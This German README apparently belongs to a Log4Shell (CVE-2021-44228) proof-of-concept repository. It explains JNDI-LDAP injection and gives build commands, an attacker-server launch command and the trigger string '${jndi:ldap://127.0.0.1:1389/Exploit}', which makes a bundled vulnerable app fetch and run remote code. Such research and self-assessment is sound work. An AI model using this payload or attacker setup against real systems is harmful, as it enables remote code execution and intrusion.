
Ein Remote-Code-Execution-PoC für Log4Shell (CVE-2021-44228)
Dieses Repository ermöglicht Sicherheitsforschern, mit Remote-Codeausführung zu experimentieren, indem es eine Implementierung eines Angriffsservers bereitstellt, der einen benutzerdefinierten Exploit auf einer verwundbaren Anwendung lädt, die Log4j enthält.
⚠️ Das Tool dient der Selbstbewertung und sollte nur von autorisierten Personen oder Forschern verwendet werden. Sie sollten nur Systeme testen, für die Sie ausdrückliche Erlaubnis oder Befugnis haben. Wenn Sie verwundbare Anwendungen oder Bibliotheken finden, sollten Sie verantwortungsvolle Offenlegung praktizieren.
CVE-2021-44228 funktioniert, indem eine JNDI-LDAP-Zeichenfolge in Ihre Protokolle injiziert wird, die Log4j dazu veranlasst, den angegebenen LDAP-Server zu kontaktieren, um nach zusätzlichen Informationen zu suchen. In einem bösartigen Szenario kann der LDAP-Server dann Code an den Opferrechner zurückgeben, der automatisch im Arbeitsspeicher ausgeführt wird.
Das Repository enthält zwei Teilprojekte. Das Projekt attacker-server enthält den Quellcode von zwei Thread-basierten Servern. Der erste ist ein LDAP-Proxy, der die anfängliche Anforderung für ein LDAP-Objekt empfängt. Der zweite Server ist der Payload-Server, der den Exploit (in Exploit.java vorhanden) an die verwundbare Anwendung zurückgibt.
Im Stammverzeichnis des Projekts:
mvn clean install
Sowohl der Server als auch die verwundbare Anwendung sollten bereit sein.
Um den Server zu laden, führen Sie aus:
java -jar attacker-server/target/attacker-server-0.0.1-SNAPSHOT-jar-with-dependencies.jar
Um die RCE auszulösen, führen Sie aus:
java -jar vulnapp/target/vulnapp-0.0.1-SNAPSHOT-jar-with-dependencies.jar \${jndi:ldap://127.0.0.1:1389/Exploit}
Sie können die bösartige Payload bei Bedarf ändern, indem Sie Exploit.java erweitern.